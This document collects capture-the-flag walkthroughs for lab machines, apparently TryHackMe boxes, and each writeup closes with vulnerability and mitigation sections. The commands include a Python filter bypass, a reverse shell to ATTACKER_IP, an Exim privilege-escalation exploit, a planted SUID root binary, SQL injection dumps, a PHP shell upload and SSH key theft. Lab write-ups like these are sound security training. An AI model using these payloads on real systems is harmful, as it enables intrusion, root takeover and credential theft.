princess    [Status: 301]

curl -k https://land-of-ooo.com/yellowdog/bananastock/princess/

<title>What secret safe?</title>
<!--
Secrettext = 0008f1a92d287b48dccb5079eac18ad2a0c59c22fbc7827295842f670cdb3cb645de3de794320af132ab341fe0d667a85368d0df5a3b731122ef97299acc3849cc9d8aac8c3acb647483103b5ee44166
Key = my cool password
IV = abcdefghijklmanopqrstuvwxyz
Mode = CBC
Input = hex
Output = raw
-->

Decrypted in CyberChef (AES Decrypt, CBC, Hex input):

"the magic safe is accessibel at port 31337. the magic word is: ricardio"

5. Port 31337 - get SSH username

nc MACHINE_IP 31337
Hello Princess Bubblegum. What is the magic word?
ricardio
The new username is: apple-guards

6. SSH as apple-guards

ssh apple-guards@land-of-ooo.com
apple-guards@land-of-ooo.com's password: THE BANANAS ARE THE BEST!!!

apple-guards@at:~$ whoami
apple-guards
apple-guards@at:~$ id
uid=1009(apple-guards) gid=1009(apple-guards) groups=1009(apple-guards)
apple-guards@at:~$ cat flag1
tryhackme{REDACTED}
apple-guards@at:~$ cat flag.txt
tryhackme{REDACTED}

Checked mail:

apple-guards@at:~$ cat mbox
From: marceline@at
Subject: Need help???

Hi there bananaheads!!!
I heard Princess B revoked your access to the system. Bummer!
But I'll help you guys out.....doesn't cost you a thing.....well almost nothing.
I hid a file for you guys. If you get the answer right, you'll get better access.

apple-guards@at:~$ find / -type f -user marceline 2>/dev/null
/etc/fonts/helper
apple-guards@at:~$ ls -la /etc/fonts/helper
-rwxr-x--- 1 marceline apple-guards 16616 sep 20  2019 /etc/fonts/helper

7. Marceline's helper puzzle - Vigenère decode

apple-guards@at:~$ /etc/fonts/helper

======================================
      BananaHead Access Pass
       created by Marceline
======================================

The key to solve this puzzle is gone
And you need the key to get this readable: Gpnhkse

Did you solve the puzzle? yes

What is the word I'm looking for? Abadeer

That's it!!!! You solved my puzzle
Don't tell princess B I helped you guys!!!
My password is 'My friend Finn'

Vigenère decode of Gpnhkse with key gone (CyberChef) → "Abadeer"

8. SSH/su as marceline

apple-guards@at:~$ su marceline
Password: My friend Finn
marceline@at:~$ cat flag2
tryhackme{REDACTED}

marceline@at:~$ cat I-got-a-secret.txt
...
111111111100100010101011101011111110101111111111011011011011000001101001001011111111111111001010010111100101000000000000101001101111001010010010111111110010100000000000000000000000000000000000000010101111110010101100101000000000000000000000101001101100101001001011111111111111111111001010000000000000000000000000001010111001010000000000000000000000000000000000000000000001010011011001010010010111111111111111111111001010000000000000000000000000000000001010111111001010011011001010010111111111111100101001000000000000101001111110010100110010100100100000000000000000000010101110010100010100000000000000010100000000010101111100101001111001010011001010010000001010010100101011100101001101100101001011100101001010010100110110010101111111111111111111111111111111110010100100100000000000010100010100111110010100000000000000000000000010100111111111111111110010100101111001010000000000000001010

The binary string is Spoon (an esoteric Brainfuck-derived language using only +, -, >, <, [, ], ., , encoded as binary). Decoded via dCode's Spoon interpreter:

"the magic word you are looking for is ApplePie"

9. Port 31337 again - get peppermint-butler password

nc land-of-ooo.com 31337
Hello Princess Bubblegum. What is the magic word?
ApplePie
The password of peppermint-butler is: That Black Magic

10. su peppermint-butler

marceline@at:~$ su peppermint-butler
Password: That Black Magic
peppermint-butler@at:~$ cat flag3
tryhackme{REDACTED}

peppermint-butler@at:~$ ls -la
-rw-------  1 peppermint-butler peppermint-butler 85555 sep 21  2019 butler-1.jpg
-rw-r-----  1 peppermint-butler peppermint-butler    28 sep 22  2019 flag3

peppermint-butler@at:~$ find / -type f -user peppermint-butler 2>/dev/null | grep -v proc
/usr/share/xml/steg.txt
/etc/php/zip.txt
/home/peppermint-butler/flag3
/home/peppermint-butler/butler-1.jpg

peppermint-butler@at:~$ cat /usr/share/xml/steg.txt
...
The password of my secret file is 'ToKeepASecretSafe'
peppermint-butler@at:~$ cat /etc/php/zip.txt
...
The password of my secret file is 'ThisIsReallySave'

Two different passwords - one for steghide, one for the zip.

Served the image to the attacker machine:

peppermint-butler@at:~$ python3 -m http.server 8000

wget http://land-of-ooo.com:8000/butler-1.jpg

steghide extract -sf butler-1.jpg
Enter passphrase: ToKeepASecretSafe
wrote extracted data to "secrets.zip".

unzip secrets.zip
[secrets.zip] secrets.txt password: ThisIsReallySave

cat secrets.txt
...
I think I saw him type in something.
It was unclear, but it was something like 'The Ice King s????'.
The last 4 letters where a blur.

11. Bruteforce gunter's SSH password

Peppermint Butler's image had no useful EXIF. The hint from secrets.txt gives a partial password pattern for user gunter.

crunch 18 18 -t 'The Ice King s@@@@' > pass.txt
Crunch will now generate the following number of lines: 456976

hydra -l gunter -P pass.txt -t 4 ssh://MACHINE_IP

[22][ssh] host: MACHINE_IP   login: gunter   password: The Ice King sucks

12. su/SSH as gunter

peppermint-butler@at:~$ su gunter
Password: The Ice King sucks
gunter@at:~$ id
uid=1007(gunter) gid=1007(gunter) groups=1007(gunter),1012(gcc)
gunter@at:~$ cat flag4
tryhackme{REDACTED}

gunter is in the gcc group. Checking SUID binaries:

gunter@at:~$ find / -perm -4000 2>/dev/null
/usr/sbin/exim4
...
gunter@at:~$ ls -la /usr/sbin/exim4
-rwsr-xr-x 1 root 1011 1140200 feb 14  2018 /usr/sbin/exim4
gunter@at:~$ exim4 --version
Exim version 4.90_1 #4 built 14-Feb-2018 16:01:14

Exim 4.90_1 is vulnerable to CVE-2019-10149 (local privilege escalation via RCPT TO command injection). Exim was listening on localhost port 60000 (confirmed from /etc/exim4/update-exim4.conf.conf):

gunter@at:~$ ss -tlnp | grep 60000
LISTEN   0   20   127.0.0.1:60000   0.0.0.0:*

13. CVE-2019-10149 - SUID exim4 LPE to root

Used the public PoC (exploit-db 46996), modified the exec 3<>/dev/tcp/localhost/25 line to point to port 60000:

gunter@at:~$ nano cve-2019-10149.sh
gunter@at:~$ bash cve-2019-10149.sh

raptor_exim_wiz - "The Return of the WIZard" LPE exploit

Preparing setuid shell helper...
Delivering setuid payload...
220 at ESMTP Exim 4.90_1 Ubuntu Tue, 22 Sep 2026 13:44:25 +0200
250 at Hello localhost [127.0.0.1]
250 OK
250 Accepted
354 Enter message, ending with "." on a line by itself
250 OK id=1x8yvB-0001gJ-SI
221 at closing connection

Waiting 5 seconds...
-rwsr-xr-x 1 root gunter 8504 sep 22 13:44 /tmp/pwned
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root),1007(gunter),1012(gcc)

14. Final flag - BMO reset code

# cd /home/bubblegum/Secrets
# cat bmo.txt
Secret project number: 211243A
Name opbject: BMO
Rol object: Spy

In case of emergency use resetcode: tryhackme{REDACTED}

Key Vulnerabilities

Sensitive data in EXIF metadata - Binary-encoded credentials/clues were embedded in the XP Comment field of publicly accessible FTP images, relying on obscurity rather than any real access control.
Unauthenticated multi-stage web puzzle leaking credentials - The land-of-ooo.com web chain encoded the SSH username and password behind several layers of encoding (Morse, AES, base32+Caesar) with all decryption parameters embedded in the HTML comments of the same pages. The AES key, IV, mode, and ciphertext were all provided in the same page source.
Weak access-control binary (/etc/fonts/helper) - An executable owned by marceline was accessible to the apple-guards group and unconditionally printed a password after the user answered a trivial cipher puzzle, with no authentication.
Credentials embedded in a Spoon script stored in a readable file - The peppermint-butler password was obtainable by anyone who could read I-got-a-secret.txt in Marceline's home directory and knew how to decode Spoon.
Steganography as the only secret protection - The gunter password hint was hidden in secrets.zip behind a steghide-extracted image; once the steghide and zip passwords were found in world-readable files (/usr/share/xml/steg.txt, /etc/php/zip.txt), the hint was trivially extractable.
Weak partial-password pattern enabling brute-force - The password The Ice King sucks followed a known prefix (The Ice King s) with only four lowercase letter positions unknown, making a 456,976-candidate wordlist trivial to generate and brute-force over SSH.
SUID root exim4 vulnerable to CVE-2019-10149 - Exim 4.90_1, running as a SUID-root binary, contains a command injection flaw in RCPT TO address handling (The Return of the WIZard). Any local user who can reach the SMTP port can exploit this to execute arbitrary commands as root.

Mitigations

Never embed credentials, encoding keys, or puzzle answers in publicly accessible metadata (EXIF), HTML comments, or world-readable files. Use proper secrets management.
Do not rely on multi-layer encoding (Morse, Caesar, AES with embedded keys) as a substitute for authentication. Credentials should be gated by actual access controls, not obscurity.
Restrict access to password-revealing helper binaries to specific authenticated users rather than entire groups, and require stronger proof of identity than a trivial cipher puzzle.
Keep all network-facing and SUID services patched. Exim 4.90_1 was already known-vulnerable at the time of room creation (CVE-2019-10149 was published in June 2019); updating to a patched release removes the LPE entirely.
Avoid using predictable password patterns (known prefix + short suffix). Enforce a password policy that prevents partial-knowledge brute-force attacks.
Run mail transfer agents (like exim) as unprivileged users rather than with SUID root; use capability-based privilege separation instead.

TryHackMe: Python Playground Writeup

Yogeshwar Peela — Tue, 22 Sep 2026 12:09:44 +0000

Summary

Python Playground is a hard-rated TryHackMe box built around a "sandboxed" Python code execution service fronted by a Node.js/Express web app. The site advertises a blacklist-based filter that supposedly prevents arbitrary code execution, but the filter can be bypassed using Python's __import__() builtin to dynamically load os/subprocess without triggering the blacklisted keywords. This gives remote code execution as root on the box running the web service, and a custom two-pass Caesar-style cipher recovered from a leftover Python REPL transcript yields SSH credentials for a second user, connor. Only after landing both shells does it become clear the RCE shell is actually inside a Docker container rather than the host itself - a fact confirmed by checking for Docker tooling on that shell. From there, a log-mount misconfiguration (/var/log on the host is bind-mounted into the container at /mnt/log) is abused to plant a SUID root binary on the host filesystem, which connor can then execute for a full container-to-host privilege escalation.

Attack Chain

1. Recon

rustscan -a MACHINE_IP --ulimit 5000

Open MACHINE_IP:22
Open MACHINE_IP:80

nmap -sC -sV MACHINE_IP -p 22,80 -oN nmap

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 f4:af:2f:f0:42:8a:b5:66:61:3e:73:d8:0d:2e:1c:7f (RSA)
|   256 36:f0:f3:aa:6b:e3:b9:21:c8:88:bd:8d:1c:aa:e2:cd (ECDSA)
|_  256 54:7e:3f:a9:17:da:63:f2:a2:ee:5c:60:7d:29:12:55 (ED25519)
80/tcp open  http    Node.js Express framework
|_http-title: Python Playground!

curl http://MACHINE_IP/

<h1>Secure Python Playground</h1>
...
Introducing the new era code sandbox; python playground!
Normally, code playgrounds that execute code serverside
are easy ways for hackers to access a system. Not anymore!
With our new, foolproof blacklist, no one can break into our
servers, and we can all enjoy the convenience of running our
python code on the cloud!
...
<a href="login.html">Login</a>
<a href="signup.html">Sign up</a>

login.html and signup.html both return a "site is admin-only right now" placeholder page.

2. Content discovery

gobuster dir -u http://MACHINE_IP/ -w /usr/share/wordlists/dirb/common.txt -x html

admin.html           (Status: 200) [Size: 3134]
index.html           (Status: 200) [Size: 941]
login.html           (Status: 200) [Size: 549]
signup.html          (Status: 200) [Size: 549]

admin.html (larger size) led to further probing that surfaced the actual code-execution endpoint (not part of the common wordlist), reached directly:

curl http://MACHINE_IP/super-secret-admin-testing-panel.html

Returns an unauthenticated form:

<h2 class="m-3">Python Playground! <sub>- By Connor</sub></h2>
<textarea class="form-control mb-3" name="code"></textarea>
<textarea class="form-control mb-3" readonly></textarea>
<input type="submit" class="form-control btn-primary mb-3" value="Go!">

3. Filter analysis

Basic execution works fine:

curl -s http://MACHINE_IP/super-secret-admin-testing-panel.html --data-urlencode "code=print(1+1)"

<textarea ...>2

Exit code 0</textarea>

But anything referencing os/subprocess/import directly is blocked:

curl -s http://MACHINE_IP/super-secret-admin-testing-panel.html --data-urlencode "code=import os print(os.popen('id').read())"
curl -s http://MACHINE_IP/super-secret-admin-testing-panel.html --data-urlencode "code=__import__('os').system('id')"
curl -s http://MACHINE_IP/super-secret-admin-testing-panel.html --data-urlencode "code=import subprocess subprocess.run('ls')"
curl -s http://MACHINE_IP/super-secret-admin-testing-panel.html --data-urlencode "code=import subprocess subprocess.check_output('ls')"

All of these return:

<textarea class="form-control mb-3" readonly>Security threat detected!</textarea>

4. Filter bypass

Calling __import__('subprocess') as an attribute chain, without the literal blacklisted call pattern, gets through:

curl -s http://MACHINE_IP/super-secret-admin-testing-panel.html --data-urlencode "code=__import__('subprocess').check_output('id')"

<textarea class="form-control mb-3" readonly>
Exit code 0</textarea>

Confirming full command execution:

curl -s http://MACHINE_IP/super-secret-admin-testing-panel.html --data-urlencode "code=print(__import__('subprocess').check_output('/bin/sh -c id', shell=True))"

<textarea class="form-control mb-3" readonly>b'uid=0(root) gid=0(root) groups=0(root)\n'

Exit code 0</textarea>

5. Reverse shell

A raw socket.connect() + subprocess.call(["/bin/sh","-i"], ...) payload built purely from __import__() calls (so no blacklisted keyword ever appears literally) was used to avoid the filter:

curl -s http://MACHINE_IP/super-secret-admin-testing-panel.html --data-urlencode 'code=s = __import__("socket").socket()
s.connect(("ATTACKER_IP",4444))
f = s.fileno()
__import__("subprocess").call(["/bin/sh","-i"], -1, None, f, f, f)'

Caught with a listener (penelope in this case):

penelope listen -p 4444
[+] [New Reverse Shell] => playgroundweb MACHINE_IP Linux-x86_64  Session ID <1>
[+] Agent deployed via /usr/bin/python3
root@playgroundweb:~/app#

Landed directly as root inside the web app's container:

root@playgroundweb:~/app# whoami
root
root@playgroundweb:~/app# id
uid=0(root) gid=0(root) groups=0(root)
root@playgroundweb:~/app# ls
index.js  node_modules  package-lock.json  package.json  scripts  static

Container flag:

root@playgroundweb:~/app# cd /root
root@playgroundweb:~# cat flag1.txt
THM{REDACTED}

6. Recovering `connor`'s credentials (cipher reversal)

A Python REPL transcript found while poking around revealed a custom double-pass letter-pair cipher and its ciphertext. Reversing it:

>>> def f_inv(s):
...     out = []
...     for i in range(0, len(s), 2):
...         a = ord(s[i]) - 97
...         b = ord(s[i+1]) - 97
...         out.append(chr(a*26 + b))
...     return ''.join(out)
...
... target = 'dxeedxebdwemdwesdxdtdweqdxefdxefdxdudueqduerdvdtdvdu'
... step1 = f_inv(target)   # undo the outer f
... password = f_inv(step1) # undo the inner f
... print(password)
...
spaghetti1245

7. SSH access as `connor`

ssh connor@MACHINE_IP

connor@MACHINE_IP's password: spaghetti1245
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-99-generic x86_64)
Last login: Sat May 16 06:01:55 2020 from 10.0.2.2
connor@pythonplayground:~$ whoami
connor
connor@pythonplayground:~$ id
uid=1000(connor) gid=1000(connor) groups=1000(connor)

Flag from connor's home directory:

connor@pythonplayground:~$ cat flag2.txt
THM{REDACTED}

Initial enumeration as connor came up empty:

connor@pythonplayground:~$ sudo -l
Sorry, user connor may not run sudo on pythonplayground.
connor@pythonplayground:~$ find / -perm -4000 2>/dev/null
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/newgrp
...
/bin/su

8. Realizing the RCE landed inside a Docker container

Going back to the earlier super-secret-admin-testing-panel.html shell, a check for Docker tooling on that box came back empty, which - combined with the container-style hostname (playgroundweb) and minimal filesystem seen earlier - confirmed the RCE shell was inside a Docker container, separate from the host connor was SSH'd into:

root@playgroundweb:~# which docker
root@playgroundweb:~#

With that confirmed, the next step was researching Docker container escape / privilege escalation techniques rather than a normal Linux privesc path.

9. Container escape prep - abusing a shared log mount

root@playgroundweb:~# cat /proc/self/status | grep Cap
CapInh: 00000000a80425fb
CapPrm: 00000000a80425fb
CapEff: 00000000a80425fb
CapBnd: 00000000a80425fb
CapAmb: 0000000000000000
root@playgroundweb:~# mount | grep -v "proc\|sys\|tmpfs\|overlay\|devpts\|mqueue\|shm"
/dev/nvme1n1p2 on /mnt/log type ext4 (rw,relatime,data=ordered)
/dev/nvme1n1p2 on /etc/resolv.conf type ext4 (rw,relatime,data=ordered)
/dev/nvme1n1p2 on /etc/hostname type ext4 (rw,relatime,data=ordered)
/dev/nvme1n1p2 on /etc/hosts type ext4 (rw,relatime,data=ordered)
root@playgroundweb:~# findmnt /mnt/log
TARGET   SOURCE                   FSTYPE OPTIONS
/mnt/log /dev/nvme1n1p2[/var/log] ext4   rw,relatime,data=ordered

/mnt/log inside the container is the host's /var/log, mounted read-write. Since this is a real partition mount (not just an empty overlay dir), anything written here lands directly on the host filesystem - confirmed from the host side too:

connor@pythonplayground:~$ find / -type d -name log 2>/dev/null
/var/log
connor@pythonplayground:~$ ls -la /var/log
total 3900
drwxrwxr-x   9 root      syslog             4096 May 11  2020 .
...

10. Planting a SUID root binary on the host

root@playgroundweb:~/app# which gcc
/usr/bin/gcc
root@playgroundweb:~/app# cat << 'EOF' > /tmp/privesc.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
    setuid(0);
    setgid(0);
    system("/bin/bash");
    return 0;
}
EOF
root@playgroundweb:~/app# gcc -static -o /mnt/log/privesc /tmp/privesc.c
root@playgroundweb:~/app# chmod 4755 /mnt/log/privesc
root@playgroundweb:~/app# ls -la /mnt/log/privesc
-rwsr-xr-x 1 root root 877640 Sep 22 08:32 /mnt/log/privesc

11. Privilege escalation via the planted SUID binary

The binary written to /mnt/log/privesc inside the container appears on the host at the corresponding /var/log path:

connor@pythonplayground:~$ ls -la /var/log/privesc
-rwsr-xr-x 1 root root 877640 Sep 22 08:32 /var/log/privesc
connor@pythonplayground:~$ /var/log/privesc -p
root@pythonplayground:~# whoami
root
root@pythonplayground:~# id
uid=0(root) gid=0(root) groups=0(root),1000(connor)

Final flag:

root@pythonplayground:/root# cat flag3.txt
THM{REDACTED}

Key Vulnerabilities

Insecure Python "sandbox" (blacklist-based code execution filter) - The application attempts to block dangerous code by string/keyword matching rather than using a real sandboxing mechanism (e.g., restricted execution environment, seccomp, containerized subprocess with no filesystem/network access). __import__() used as a callable bypasses any blacklist built around literal import statements or named function calls.
Unrestricted server-side code execution as root - The playground process itself ran as root inside its container, turning a filter bypass directly into full container compromise instead of a constrained low-privilege execution context.
Sensitive host path bind-mounted into a container with write access - /var/log on the host was mounted into the application container at /mnt/log with read/write permissions, allowing a compromised container process to write arbitrary files (including a SUID binary) directly onto the host filesystem.
Weak "custom crypto" for credential storage - The connor password was protected only by a simple, reversible double-pass substitution/letter-pair cipher rather than a proper password hash, making it trivial to invert once the transformation logic was discovered.
Hidden but unauthenticated admin endpoint - super-secret-admin-testing-panel.html was reachable by anyone who found or guessed the path; there was no authentication gating access to the code-execution feature at all.

Mitigations

Never implement sandboxing via keyword/string blacklists for a language as dynamically expressive as Python; use vetted sandboxing (e.g., nsjail, gVisor, WebAssembly-based interpreters, or a fully separate least-privileged execution service) or disallow arbitrary code execution features entirely.
Run code-execution services as an unprivileged, tightly scoped user inside the container, with a read-only root filesystem and no unnecessary capabilities.
Avoid bind-mounting sensitive host directories (especially /var/log or anything else outside a dedicated data directory) into containers, and never mount them writable unless strictly required; apply the principle of least privilege to all mount points.
Store credentials using a proper password hashing algorithm (bcrypt/argon2/scrypt) rather than any reversible or "security through obscurity" cipher.
Require authentication before exposing any code-execution or administrative functionality, and avoid relying on "hidden" endpoint names as an access control mechanism.

TryHackMe - Olympus Writeup

Yogeshwar Peela — Thu, 10 Sep 2026 09:40:12 +0000

Summary

Olympus is a Linux box built around an old Victor CMS 1.0 install hidden
under /~webmaster/. An unauthenticated SQL injection in the CMS search
feature was the root of the entire chain: it dumped an initial flag, user
password hashes, and a full chat log. One cracked password unlocked both
the CMS admin panel and a second vhost, chat.olympus.thm, running a
custom chat app with file upload. A PHP reverse shell was uploaded there,
and its randomized server-side filename - meant to stop direct access -
was recovered from the database through the same SQL injection, giving a
www-data shell. From there, a SUID file-copy utility owned by user
zeus was abused to exfiltrate zeus's SSH private key despite the
.ssh directory being otherwise inaccessible; cracking its passphrase
gave an SSH shell as zeus and the user flag. zeus's group membership
on a hidden web directory exposed a password-protected PHP "root shell
backdoor" script left behind by a previous attacker (prometheus);
reading its source revealed the hardcoded password, and calling it
returned a reverse shell running as root, yielding the root flag and a
bonus flag hidden elsewhere on disk.

1. Recon

nmap -A -Pn <MACHINE_IP>

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://olympus.thm

echo '<MACHINE_IP> olympus.thm' >> /etc/hosts

The root page is a static "under development" placeholder (Aperi'Solve /
particles.js branding), nothing actionable directly.

2. Web Enumeration

dirsearch and ffuf against olympus.thm found a hidden user directory:

ffuf -u http://olympus.thm/FUZZ -w /usr/share/wordlists/dirb/common.txt -ac

~webmaster              [Status: 301, Size: 315, ...]

http://olympus.thm/~webmaster/ serves a Victor CMS 1.0 site (confirmed
by HTML comments: @project 'Simple Content Management System',
@author 'Victor Alagwu'). A "Credentials" blog post on the site hints
that some users reuse weak/common passwords.

whatweb http://olympus.thm/~webmaster/

Apache[2.4.41], Bootstrap[3.3.7], Cookies[PHPSESSID], PHP, JQuery, Title[Victor CMS]

3. Identifying the Vulnerable CMS

searchsploit victor cms

Victor CMS 1.0 - 'Search' SQL Injection              | php/webapps/48734.txt
Victor CMS 1.0 - Authenticated Arbitrary File Upload  | php/webapps/48490.txt
Victor CMS 1.0 - File Upload To RCE                   | php/webapps/49310.txt
Victor CMS 1.0 - Multiple SQL Injection (Authenticated)| php/webapps/49282.txt

The unauthenticated search parameter on search.php is directly
injectable per the advisory:

POST /CMSsite/search.php
search=1337'union+select+1,2,version(),database(),5,6,7,8,9,10 -- -

4. SQL Injection - search.php

Automated with sqlmap:

sqlmap -u "http://olympus.thm/~webmaster/search.php" \
  --data="search=1337*&submit=" --dbs --random-agent -v 3

sqlmap confirmed boolean-based, error-based, time-based, and UNION-based
injection on the custom search POST parameter, and enumerated the
databases:

available databases [6]:
[*] information_schema
[*] mysql
[*] olympus
[*] performance_schema
[*] phpmyadmin
[*] sys

4.1 Tables

sqlmap ... -D olympus --tables

[6 tables]
categories, chats, comments, flag, posts, users

4.2 Flag table

sqlmap ... -D olympus -T flag --dump

+---------------------------+
| flag                      |
+---------------------------+
| flag{REDACTED}            |
+---------------------------+

4.3 Users table

sqlmap ... -D olympus -T users --dump

| user_id | user_name  | user_role | user_email             | user_password (bcrypt)                                      |
|   3     | prometheus | User      | prometheus@olympus.thm | $2y$10$YC6uoMwK9VpB5QL513vfLu1RV2sgBf01c0lzPHcz1qK2EArDvnj3C |
|   6     | root       | Admin     | root@chat.olympus.thm  | $2y$10$lcs4XWc5yjVNsMb4CUBGJevEkIuWdZN3rsuKWHCc.FGtapBAfW.mK |
|   7     | zeus       | User      | zeus@chat.olympus.thm  | $2y$10$cpJKDXh2wlAI5KlCsUaLCOnf0g5fiG0QSUS53zp/r0HMtaj6rT4lC |

The root/zeus emails leak a second vhost: chat.olympus.thm.

5. Cracking the Hash

john --wordlist=/usr/share/wordlists/rockyou.txt user-hash.txt

summertime       (prometheus)

prometheus : summertime cracked against the bcrypt hash; root and
zeus were not cracked with rockyou.

6. CMS Admin Access

Logged into http://olympus.thm/~webmaster/admin/ as prometheus. The
Users page confirms the same three accounts and the chat.olympus.thm
addresses seen in the SQLi dump.

7. Second Vhost - chat.olympus.thm

echo '<MACHINE_IP> chat.olympus.thm' >> /etc/hosts

The same prometheus:summertime credentials work at
http://chat.olympus.thm/login.php, landing on home.php: a custom chat
app with a message box and file upload.

7.1 Chat history via SQLi

The chats table was pulled directly through the same search.php
injection:

sqlmap ... -D olympus -T chats --dump

| dt         | msg                                | uname      | file                                  |
| 2022-04-05 | Attached : prometheus_password.txt | prometheus | 47c3210d51761686f3af40a875eeaaea.txt  |
| 2022-04-06 | random file name function...       | zeus       | <blank>                               |
| 2026-09-10 | Attached : rev.php                 | prometheus | ff1957eacecdeafa2f3b285a01f40920.php  |

Uploaded files are renamed server-side to a random 32-character hex
string as an access control - an old chat message from zeus confirms
this was intentional ("The IT guy used a random file name function to
make it harder for attackers to access the uploaded files"). It fails
because the real generated filename is stored in chats.file and is
readable through the same SQL injection, defeating the protection
entirely.

A {{7*7}} message was also sent to probe for server-side template
injection; it was not confirmed to render before moving on.

7.2 Reverse shell upload

A PHP reverse shell (rev.php) was uploaded via the chat file input. Per
the chats dump, it was stored as:

ff1957eacecdeafa2f3b285a01f40920.php

penelope listen -p 4444

Requesting that filename returned a shell:

[+] [New Reverse Shell] => www-data(33)
www-data@<MACHINE_IP>:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data),7777(web)

8. www-data Enumeration

cat /home/zeus/zeus.txt

Hey zeus !
I managed to hack my way back into the olympus eventually.
Looks like the IT kid messed up again !
I've now got a permanent access as a super user to the olympus.
                                                - Prometheus.

cat /home/zeus/user.flag
flag{REDACTED}

/home/zeus/.ssh denies access directly, but a SUID binary owned by
zeus was found:

find / -perm -4000 2>/dev/null | grep cputils
-rwsr-xr-x 1 zeus zeus 17728 Apr 18  2022 /usr/bin/cputils

cputils is a simple file-copy utility that runs with zeus's effective
UID, so it can read files www-data otherwise cannot:

/usr/bin/cputils
Enter the Name of Source File: /home/zeus/.ssh/authorized_keys
Enter the Name of Target File: /tmp/auth_keys
File copied successfully.

/usr/bin/cputils
Enter the Name of Source File: /home/zeus/.ssh/id_rsa
Enter the Name of Target File: /tmp/id_rsa
File copied successfully.

Both files were copied out to /tmp, giving zeus's SSH keypair.

9. Cracking the SSH Key and Logging in as zeus

ssh2john zeus-key > zeus-hash
john --wordlist=/usr/share/wordlists/rockyou.txt zeus-hash

snowflake        (zeus-key)

ssh -i zeus-key zeus@olympus.thm

zeus@<MACHINE_IP>:~$ cat user.flag
flag{REDACTED}

sudo -l failed (no known password), and standard privesc checks
(SUID binaries, find -group adm, listening ports, ps aux) did not
turn up anything further directly - the actual path forward was a file
zeus had incidental access to.

10. Root via a Leftover Backdoor Webshell

find / -user zeus 2>/dev/null | grep -v '^/proc\|^/sys\|^/run'
...
/var/www/html/0aB44fdS3eDnLkpsz3deGv8TttR4sc
/var/www/html/0aB44fdS3eDnLkpsz3deGv8TttR4sc/index.html
/var/www/html/0aB44fdS3eDnLkpsz3deGv8TttR4sc/VIGQFQFMYOST.php

ls -la /var/www/html/
drwxrwx--x 2 root zeus 4096 Jul 15  2022 0aB44fdS3eDnLkpsz3deGv8TttR4sc

The directory is root:zeus with group execute/read, so zeus can enter
it and read its contents (but not list it via a plain top-level listing).
Inside is a password-gated PHP reverse-shell backdoor, apparently planted
by prometheus per the earlier note ("I've now got a permanent access as
a super user to the olympus"):

<?php
$pass = "a7c5ffcf139742f52a5267c4a0674129";
if(!isset($_POST["password"]) || $_POST["password"] != $pass) die('<form ...>Password: ...</form>');
...
$shell = "uname -a; w; $suid_bd";
...

Because zeus can read the file directly, the hardcoded password is
visible in the source - no cracking needed. The script is a classic
fsockopen reverse shell gated by that password and driven by ?ip= and
?port= GET parameters.

Browsing to it and POSTing the password confirms the usage banner:

GET /0aB44fdS3eDnLkpsz3deGv8TttR4sc/VIGQFQFMYOST.php
POST password=a7c5ffcf139742f52a5267c4a0674129

snodew reverse root shell backdoor
Usage:
Locally: nc -vlp [port]
Remote: <MACHINE_IP>/0aB44fdS3eDnLkpsz3deGv8TttR4sc/VIGQFQFMYOST.php?ip=[destination of listener]&port=[listening port]

Triggering it against a listener:

penelope listen -p 4444

http://<MACHINE_IP>/0aB44fdS3eDnLkpsz3deGv8TttR4sc/VIGQFQFMYOST.php?ip=<ATTACKER_IP>&port=4444

(POST the password first via the form, then load the ?ip=&port= URL.)

[+] [New Reverse Shell] => root(0)
root@<MACHINE_IP>:/# whoami
root
root@<MACHINE_IP>:/# id
uid=0(root) gid=0(root) groups=0(root),33(www-data),7777(web)

11. Root and Bonus Flags

cat /root/root.flag

                You did it, you defeated the gods.
                        Hope you had fun !

                   flag{REDACTED}

PS : Prometheus left a hidden flag, try and find it !
     I recommend logging as root over ssh to look for it ;)
     (Hint : regex can be usefull)

Following the hint:

grep -r "flag{" / --exclude-dir={proc,sys,dev,snap} 2>/dev/null

/root/root.flag:               flag{REDACTED}
/home/zeus/user.flag:          flag{REDACTED}
/etc/ssl/private/.b0nus.fl4g:  flag{REDACTED}
Binary file /var/lib/mysql/olympus/flag.ibd matches

A fourth, hidden flag was sitting in /etc/ssl/private/.b0nus.fl4g, only
findable by grepping the filesystem as root as the note suggested.

Key Vulnerabilities

#	Vulnerability	Location	Impact
1	Unauthenticated SQL injection	`~webmaster/search.php` (`search`)	Full DB dump: flag, user hashes, chat log (root cause of the whole chain)
2	Weak / reused password	`prometheus` account	Cracked via rockyou (`summertime`); unlocked CMS admin and chat app
3	Randomized-filename upload protection defeated	`chat.olympus.thm` upload + `chats` table	Real stored filename recoverable via SQLi, enabling direct access to an uploaded PHP reverse shell
4	Unrestricted file upload	`chat.olympus.thm` upload endpoint	RCE as `www-data` via uploaded `.php` shell
5	SUID utility usable as arbitrary-file-read-as-owner	`/usr/bin/cputils` (SUID `zeus`)	`www-data` used it to copy `zeus`'s SSH private key out of an otherwise inaccessible `.ssh` directory
6	Weak SSH key passphrase	`zeus`'s `id_rsa`	Cracked via rockyou (`snowflake`); gave interactive SSH as `zeus`
7	Leftover password-protected backdoor webshell, password recoverable via file permissions	`/var/www/html/<random-dir>/VIGQFQFMYOST.php`, `root:zeus` directory perms	`zeus` group membership let it read the hardcoded backdoor password; running it gave a root shell

Attack Chain

olympus.thm (port 80)
  |
  |-- dirsearch/ffuf -> /~webmaster/ (Victor CMS 1.0)
        |
        |-- searchsploit -> known 'search' SQLi (EDB-48734)
              |
              |-- sqlmap -> dump DB
                    |-- flag table  -> flag 1
                    |-- users table -> bcrypt hashes
                          |
                          |-- john + rockyou -> prometheus:summertime
                                |
                                |-- CMS admin login -> confirms chat.olympus.thm
                                      |
                                      |-- chat.olympus.thm login (same creds)
                                            |
                                            |-- upload rev.php
                                            |-- chats table (via SQLi) -> real uploaded filename
                                            |-- request shell -> www-data
                                                  |
                                                  |-- SUID cputils (owned by zeus)
